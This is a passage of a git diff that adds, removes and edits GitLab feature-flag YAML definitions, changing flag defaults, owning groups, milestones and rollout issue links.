diff --git a/config/feature_flags/development/ci_queueing_builds_enabled_checks.yml b/config/feature_flags/development/ci_queueing_builds_enabled_checks.yml
deleted file mode 100644
index effaf78cef2..00000000000
--- a/config/feature_flags/development/ci_queueing_builds_enabled_checks.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_queueing_builds_enabled_checks
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70581
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341131
-milestone: '14.4'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_queueing_denormalize_ci_minutes_information.yml b/config/feature_flags/development/ci_queueing_denormalize_ci_minutes_information.yml
deleted file mode 100644
index b93742ad0a7..00000000000
--- a/config/feature_flags/development/ci_queueing_denormalize_ci_minutes_information.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_queueing_denormalize_ci_minutes_information
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66962
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338290
-milestone: '14.2'
-type: development
-group: 'group::pipeline execution'
-default_enabled: false
diff --git a/config/feature_flags/development/ci_queueing_denormalize_namespace_traversal_ids.yml b/config/feature_flags/development/ci_queueing_denormalize_namespace_traversal_ids.yml
deleted file mode 100644
index e8326ac5cab..00000000000
--- a/config/feature_flags/development/ci_queueing_denormalize_namespace_traversal_ids.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_queueing_denormalize_namespace_traversal_ids
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70162
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/340930
-milestone: '14.3'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_queueing_denormalize_shared_runners_information.yml b/config/feature_flags/development/ci_queueing_denormalize_shared_runners_information.yml
deleted file mode 100644
index 326beaf6740..00000000000
--- a/config/feature_flags/development/ci_queueing_denormalize_shared_runners_information.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_queueing_denormalize_shared_runners_information
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66082
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338289
-milestone: '14.2'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_queueing_denormalize_tags_information.yml b/config/feature_flags/development/ci_queueing_denormalize_tags_information.yml
deleted file mode 100644
index 23f7be4cccc..00000000000
--- a/config/feature_flags/development/ci_queueing_denormalize_tags_information.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_queueing_denormalize_tags_information
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65648
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338366
-milestone: '14.1'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_queuing_use_denormalized_data_strategy.yml b/config/feature_flags/development/ci_queuing_use_denormalized_data_strategy.yml
new file mode 100644
index 00000000000..53515ddab5a
--- /dev/null
+++ b/config/feature_flags/development/ci_queuing_use_denormalized_data_strategy.yml
@@ -0,0 +1,8 @@
+---
+name: ci_queuing_use_denormalized_data_strategy
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76543
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332951
+milestone: '14.6'
+type: development
+group: group::pipeline execution
+default_enabled: true
diff --git a/config/feature_flags/development/ci_require_credit_card_on_free_plan.yml b/config/feature_flags/development/ci_require_credit_card_on_free_plan.yml
index 868c3c84649..7e5795de6a0 100644
--- a/config/feature_flags/development/ci_require_credit_card_on_free_plan.yml
+++ b/config/feature_flags/development/ci_require_credit_card_on_free_plan.yml
@@ -1,8 +1,8 @@
---
name: ci_require_credit_card_on_free_plan
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61152
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61152
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330104
milestone: '13.12'
type: development
-group: group::pipeline execution
+group: group::fulfillment
default_enabled: false
diff --git a/config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml b/config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml
index 6a946f0959c..578101a1ba4 100644
--- a/config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml
+++ b/config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml
@@ -1,8 +1,8 @@
---
name: ci_require_credit_card_on_trial_plan
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61152
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61152
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330105
milestone: '13.12'
type: development
-group: group::pipeline execution
+group: group::fulfillment
default_enabled: false
diff --git a/config/feature_flags/development/ci_retry_downstream_pipeline.yml b/config/feature_flags/development/ci_retry_downstream_pipeline.yml
new file mode 100644
index 00000000000..0eac0330188
--- /dev/null
+++ b/config/feature_flags/development/ci_retry_downstream_pipeline.yml
@@ -0,0 +1,8 @@
+---
+name: ci_retry_downstream_pipeline
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76115
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347424
+milestone: '14.16'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/ci_runner_limits_override.yml b/config/feature_flags/development/ci_runner_limits_override.yml
deleted file mode 100644
index a5dd74d35af..00000000000
--- a/config/feature_flags/development/ci_runner_limits_override.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_runner_limits_override
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67152
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/337224
-milestone: '14.2'
-type: development
-group: group::runner
-default_enabled: false
diff --git a/config/feature_flags/development/ci_scoped_job_token.yml b/config/feature_flags/development/ci_scoped_job_token.yml
deleted file mode 100644
index a885a1e6391..00000000000
--- a/config/feature_flags/development/ci_scoped_job_token.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_scoped_job_token
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62733
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332272
-milestone: '14.0'
-type: development
-group: group::pipeline execution
-default_enabled: true
diff --git a/config/feature_flags/development/ci_store_trace_outside_transaction.yml b/config/feature_flags/development/ci_store_trace_outside_transaction.yml
index 89b135850fe..1be425c6bbf 100644
--- a/config/feature_flags/development/ci_store_trace_outside_transaction.yml
+++ b/config/feature_flags/development/ci_store_trace_outside_transaction.yml
@@ -2,7 +2,7 @@
name: ci_store_trace_outside_transaction
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66203
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/336280
-milestone: '15.4'
+milestone: '14.5'
type: development
group: group::pipeline execution
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_track_shared_runner_builds.yml b/config/feature_flags/development/ci_track_shared_runner_builds.yml
deleted file mode 100644
index b4267ab5be3..00000000000
--- a/config/feature_flags/development/ci_track_shared_runner_builds.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_track_shared_runner_builds
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62912
-rollout_issue_url:
-milestone: '14.0'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_untrack_shared_runner_builds.yml b/config/feature_flags/development/ci_untrack_shared_runner_builds.yml
deleted file mode 100644
index 2e8de5cbb0c..00000000000
--- a/config/feature_flags/development/ci_untrack_shared_runner_builds.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_untrack_shared_runner_builds
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62912
-rollout_issue_url:
-milestone: '14.0'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_yaml_limit_size.yml b/config/feature_flags/development/ci_yaml_limit_size.yml
index 2b68939968d..222dc409c45 100644
--- a/config/feature_flags/development/ci_yaml_limit_size.yml
+++ b/config/feature_flags/development/ci_yaml_limit_size.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://dev.gitlab.org/gitlab/gitlabhq/-/merge_requests/3126
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/29875
milestone: '12.0'
type: development
-group: group::pipeline execution
+group: group::pipeline authoring
default_enabled: true
diff --git a/config/feature_flags/development/configurable_diff_limits.yml b/config/feature_flags/development/configurable_diff_limits.yml
deleted file mode 100644
index e73d45fac65..00000000000
--- a/config/feature_flags/development/configurable_diff_limits.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: configurable_diff_limits
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56722
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332194
-milestone: '14.0'
-type: development
-group: group::code review
-default_enabled: false
diff --git a/config/feature_flags/development/configure_iac_scanning_via_mr.yml b/config/feature_flags/development/configure_iac_scanning_via_mr.yml
deleted file mode 100644
index cef22644b8f..00000000000
--- a/config/feature_flags/development/configure_iac_scanning_via_mr.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: configure_iac_scanning_via_mr
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73155
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/343966
-milestone: '14.5'
-type: development
-group: group::static analysis
-default_enabled: true
diff --git a/config/feature_flags/development/create_deployment_in_separate_transaction.yml b/config/feature_flags/development/create_deployment_in_separate_transaction.yml
new file mode 100644
index 00000000000..7d07a932966
--- /dev/null
+++ b/config/feature_flags/development/create_deployment_in_separate_transaction.yml
@@ -0,0 +1,8 @@
+---
+name: create_deployment_in_separate_transaction
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75604
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346879
+milestone: '14.6'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/create_vulnerabilities_via_api.yml b/config/feature_flags/development/create_vulnerabilities_via_api.yml
deleted file mode 100644
index 3f8af065dc2..00000000000
--- a/config/feature_flags/development/create_vulnerabilities_via_api.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: create_vulnerabilities_via_api
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68158
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338694
-milestone: '14.3'
-type: development
-group: group::threat insights
-default_enabled: true
diff --git a/config/feature_flags/development/customer_relations.yml b/config/feature_flags/development/customer_relations.yml
index 207f675423a..58783708921 100644
--- a/config/feature_flags/development/customer_relations.yml
+++ b/config/feature_flags/development/customer_relations.yml
@@ -1,7 +1,7 @@
---
name: customer_relations
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69472
-rollout_issue_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346082
milestone: '14.3'
type: development
group: group::product planning
diff --git a/config/feature_flags/development/dependency_proxy_manifest_workhorse.yml b/config/feature_flags/development/dependency_proxy_manifest_workhorse.yml
deleted file mode 100644
index f1e3be78da8..00000000000
--- a/config/feature_flags/development/dependency_proxy_manifest_workhorse.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: dependency_proxy_manifest_workhorse
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73033
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/344216
-milestone: '14.4'
-type: development
-group: group::package
-default_enabled: true
diff --git a/config/feature_flags/development/deployment_approvals.yml b/config/feature_flags/development/deployment_approvals.yml
new file mode 100644
index 00000000000..5083ccd28bf
--- /dev/null
+++ b/config/feature_flags/development/deployment_approvals.yml
@@ -0,0 +1,8 @@
+---
+name: deployment_approvals
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74932
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347342
+milestone: '14.6'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/deployments_archive.yml b/config/feature_flags/development/deployments_archive.yml
index ad6b5fb47d9..8129d6d4af8 100644
--- a/config/feature_flags/development/deployments_archive.yml
+++ b/config/feature_flags/development/deployments_archive.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345027
milestone: '14.5'
type: development
group: group::release
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/display_outdated_line_diff.yml b/config/feature_flags/development/display_outdated_line_diff.yml
index 6baa258c52b..979575da381 100644
--- a/config/feature_flags/development/display_outdated_line_diff.yml
+++ b/config/feature_flags/development/display_outdated_line_diff.yml
@@ -1,8 +1,8 @@
---
name: display_outdated_line_diff
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72597
-rollout_issue_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345491
milestone: '14.5'
type: development
group: group::code review
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/drop_detached_partitions.yml b/config/feature_flags/development/drop_detached_partitions.yml
deleted file mode 100644
index b49cf78d28c..00000000000
--- a/config/feature_flags/development/drop_detached_partitions.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: drop_detached_partitions
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67056
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/337155
-milestone: '14.2'
-type: development
-group: group::database
-default_enabled: false
diff --git a/config/feature_flags/development/early_prepare_for_mergeability.yml b/config/feature_flags/development/early_prepare_for_mergeability.yml
new file mode 100644
index 00000000000..c6377bd9a60
--- /dev/null
+++ b/config/feature_flags/development/early_prepare_for_mergeability.yml
@@ -0,0 +1,8 @@
+---
+name: early_prepare_for_mergeability
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75402
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346667
+milestone: '14.6'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/environments_by_deployments_finder_exists_optimization.yml b/config/feature_flags/development/environments_by_deployments_finder_exists_optimization.yml
deleted file mode 100644
index a265d9528f7..00000000000
--- a/config/feature_flags/development/environments_by_deployments_finder_exists_optimization.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: environments_by_deployments_finder_exists_optimization
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72781/
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/343544
-milestone: '14.5'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/expire_job_and_pipeline_cache_synchronously.yml b/config/feature_flags/development/expire_job_and_pipeline_cache_synchronously.yml
new file mode 100644
index 00000000000..dda23cb641a
--- /dev/null
+++ b/config/feature_flags/development/expire_job_and_pipeline_cache_synchronously.yml
@@ -0,0 +1,8 @@
+---
+name: expire_job_and_pipeline_cache_synchronously
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75611
+rollout_issue_url: https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1380
+milestone: '14.6'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/files_api_throttling.yml b/config/feature_flags/development/files_api_throttling.yml
deleted file mode 100644
index a106c2cb980..00000000000
--- a/config/feature_flags/development/files_api_throttling.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: files_api_throttling
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68560
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338903
-milestone: '14.3'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/find_tag_via_gitaly.yml b/config/feature_flags/development/find_tag_via_gitaly.yml
index 217eac464ad..43cbdb3993f 100644
--- a/config/feature_flags/development/find_tag_via_gitaly.yml
+++ b/config/feature_flags/development/find_tag_via_gitaly.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/340899
milestone: '14.3'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/hide_access_tokens.yml b/config/feature_flags/development/hide_access_tokens.yml
new file mode 100644
index 00000000000..1607780a0d0
--- /dev/null
+++ b/config/feature_flags/development/hide_access_tokens.yml
@@ -0,0 +1,8 @@
+---
+name: hide_access_tokens
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76280
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347490
+milestone: '14.6'
+type: development
+group: group::access
+default_enabled: true
diff --git a/config/feature_flags/development/highlight_js.yml b/config/feature_flags/development/highlight_js.yml
new file mode 100644
index 00000000000..40ea462447e
--- /dev/null
+++ b/config/feature_flags/development/highlight_js.yml
@@ -0,0 +1,8 @@
+---
+name: highlight_js
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75005
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346257
+milestone: '14.6'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/improved_container_scan_matching.yml b/config/feature_flags/development/improved_container_scan_matching.yml
new file mode 100644
index 00000000000..81a486831cc
--- /dev/null
+++ b/config/feature_flags/development/improved_container_scan_matching.yml
@@ -0,0 +1,8 @@
+---
+name: improved_container_scan_matching
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73486
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/344534
+milestone: '14.6'
+type: development
+group: group::container security
+default_enabled: true
diff --git a/config/feature_flags/development/incident_escalations.yml b/config/feature_flags/development/incident_escalations.yml
new file mode 100644
index 00000000000..ea823f573aa
--- /dev/null
+++ b/config/feature_flags/development/incident_escalations.yml
@@ -0,0 +1,8 @@
+---
+name: incident_escalations
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74337
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345769
+milestone: '14.6'
+type: development
+group: group::monitor
+default_enabled: false
diff --git a/config/feature_flags/development/increased_diff_limits.yml b/config/feature_flags/development/increased_diff_limits.yml
deleted file mode 100644
index 898f6597a8a..00000000000
--- a/config/feature_flags/development/increased_diff_limits.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: increased_diff_limits
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40357
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241185
-milestone: '13.5'
-type: development
-group: group::code review
-default_enabled: false
diff --git a/config/feature_flags/development/jira_use_first_ref_by_oid.yml b/config/feature_flags/development/jira_use_first_ref_by_oid.yml
index 10e2ad1b8ad..88db6c1ab4c 100644
--- a/config/feature_flags/development/jira_use_first_ref_by_oid.yml
+++ b/config/feature_flags/development/jira_use_first_ref_by_oid.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/343585
milestone: '14.5'
type: development
group: group::integrations
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/jobs_tab_vue.yml b/config/feature_flags/development/jobs_tab_vue.yml
new file mode 100644
index 00000000000..2958532922a
--- /dev/null
+++ b/config/feature_flags/development/jobs_tab_vue.yml
@@ -0,0 +1,8 @@
+---
+name: jobs_tab_vue
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76146
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347371
+milestone: '14.6'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/keyset_pagination_for_groups_api.yml b/config/feature_flags/development/keyset_pagination_for_groups_api.yml
deleted file mode 100644
index d4bd37565ee..00000000000
--- a/config/feature_flags/development/keyset_pagination_for_groups_api.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: keyset_pagination_for_groups_api
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68346
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339831
-milestone: '14.3'
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/labels_widget.yml b/config/feature_flags/development/labels_widget.yml
deleted file mode 100644
index 07045a13c30..00000000000
--- a/config/feature_flags/development/labels_widget.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: labels_widget
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62898
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332327
-milestone: '14.0'
-type: development
-group: group::project management
-default_enabled: false
diff --git a/config/feature_flags/development/lfk_automatic_partition_creation.yml b/config/feature_flags/development/lfk_automatic_partition_creation.yml
new file mode 100644
index 00000000000..72678ff9cbf
--- /dev/null
+++ b/config/feature_flags/development/lfk_automatic_partition_creation.yml
@@ -0,0 +1,8 @@
+---
+name: lfk_automatic_partition_creation
+introduced_by_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346907
+milestone: '14.6'
+type: development
+group: group::sharding
+default_enabled: false
diff --git a/config/feature_flags/development/lfk_automatic_partition_dropping.yml b/config/feature_flags/development/lfk_automatic_partition_dropping.yml
new file mode 100644
index 00000000000..5b908a3309e
--- /dev/null
+++ b/config/feature_flags/development/lfk_automatic_partition_dropping.yml
@@ -0,0 +1,8 @@
+---
+name: lfk_automatic_partition_dropping
+introduced_by_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346908
+milestone: '14.6'
+type: development
+group: group::sharding
+default_enabled: false
diff --git a/config/feature_flags/development/lfs_auto_link_fork_source.yml b/config/feature_flags/development/lfs_auto_link_fork_source.yml
new file mode 100644
index 00000000000..022bcdd3128
--- /dev/null
+++ b/config/feature_flags/development/lfs_auto_link_fork_source.yml
@@ -0,0 +1,8 @@
+---
+name: lfs_auto_link_fork_source
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75972
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/348243
+milestone: '14.6'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/limited_diff_highlighting.yml b/config/feature_flags/development/limited_diff_highlighting.yml
deleted file mode 100644
index 1cfd9927c7a..00000000000
--- a/config/feature_flags/development/limited_diff_highlighting.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: limited_diff_highlighting
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53768
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323566
-milestone: '13.12'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/linear_application_settings_elasticsearch_limited_namespaces.yml b/config/feature_flags/development/linear_application_settings_elasticsearch_limited_namespaces.yml
deleted file mode 100644
index 27342e1e1c2..00000000000
--- a/config/feature_flags/development/linear_application_settings_elasticsearch_limited_namespaces.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: linear_application_settings_elasticsearch_limited_namespaces
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68931
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339438
-milestone: '14.3'
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/linear_group_descendants_finder.yml b/config/feature_flags/development/linear_group_descendants_finder.yml
new file mode 100644
index 00000000000..12f09c25c85
--- /dev/null
+++ b/config/feature_flags/development/linear_group_descendants_finder.yml
@@ -0,0 +1,8 @@
+---
+name: linear_group_descendants_finder
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68954
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339440
+milestone: '14.6'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/linear_group_including_descendants_by.yml b/config/feature_flags/development/linear_group_including_descendants_by.yml
deleted file mode 100644
index cf70edce6cc..00000000000
--- a/config/feature_flags/development/linear_group_including_descendants_by.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: linear_group_including_descendants_by
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68835
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339431
-milestone: '14.3'
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/linear_groups_template_finder_extended_group_search.yml b/config/feature_flags/development/linear_groups_template_finder_extended_group_search.yml
deleted file mode 100644
index 98505f561b0..00000000000
--- a/config/feature_flags/development/linear_groups_template_finder_extended_group_search.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: linear_groups_template_finder_extended_group_search
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68936
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339439
-milestone: '14.3'
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/linear_user_group_notification_settings_finder_ancestors_scopes.yml b/config/feature_flags/development/linear_user_group_notification_settings_finder_ancestors_scopes.yml
new file mode 100644
index 00000000000..b54b82d00a0
--- /dev/null
+++ b/config/feature_flags/development/linear_user_group_notification_settings_finder_ancestors_scopes.yml
@@ -0,0 +1,8 @@
+---
+name: linear_user_group_notification_settings_finder_ancestors_scopes
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74606
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345792
+milestone: '14.6'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/linear_user_groups_with_developer_maintainer_project_access.yml b/config/feature_flags/development/linear_user_groups_with_developer_maintainer_project_access.yml
deleted file mode 100644
index 09a910ba5f0..00000000000
--- a/config/feature_flags/development/linear_user_groups_with_developer_maintainer_project_access.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: linear_user_groups_with_developer_maintainer_project_access
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68851
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339436
-milestone: '14.3'
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/linear_user_membership_groups.yml b/config/feature_flags/development/linear_user_membership_groups.yml
deleted file mode 100644
index 19bca849090..00000000000
--- a/config/feature_flags/development/linear_user_membership_groups.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: linear_user_membership_groups
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68842
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339432
-milestone: '14.3'
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_update_all_mirrors_worker.yml b/config/feature_flags/development/load_balancing_for_update_all_mirrors_worker.yml
deleted file mode 100644
index 1f213f52753..00000000000
--- a/config/feature_flags/development/load_balancing_for_update_all_mirrors_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: load_balancing_for_update_all_mirrors_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64526
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334162
-milestone: '14.1'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/log_implicit_sidekiq_status_calls.yml b/config/feature_flags/development/log_implicit_sidekiq_status_calls.yml
new file mode 100644
index 00000000000..1aeb768b3dd
--- /dev/null
+++ b/config/feature_flags/development/log_implicit_sidekiq_status_calls.yml
@@ -0,0 +1,8 @@
+---
+name: log_implicit_sidekiq_status_calls
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74815
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/343964
+milestone: '14.6'
+type: development
+group: group::scalability
+default_enabled: false
diff --git a/config/feature_flags/development/migrate_user_mentions.yml b/config/feature_flags/development/migrate_user_mentions.yml
deleted file mode 100644
index 2a0e84b01c1..00000000000
--- a/config/feature_flags/development/migrate_user_mentions.yml
+++ /dev/null
@@ -1,11 +0,0 @@
----
-# While this FF is enabled by default, we want to keep it in place for now as there are still related migrations that
-# have not been run in production yet. For additional info, see https://gitlab.com/gitlab-org/gitlab/-/issues/21801
-# Discussion and removal MR: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60322
-name: migrate_user_mentions
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34378
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/231175
-milestone: '13.3'
-type: development
-group: group::project management
-default_enabled: true
diff --git a/config/feature_flags/development/multiple_gpg_signatures.yml b/config/feature_flags/development/multiple_gpg_signatures.yml
index 3b9b8d0a465..433309aea58 100644
--- a/config/feature_flags/development/multiple_gpg_signatures.yml
+++ b/config/feature_flags/development/multiple_gpg_signatures.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345261
milestone: '14.5'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/new_route_ci_minutes_purchase.yml b/config/feature_flags/development/new_route_ci_minutes_purchase.yml
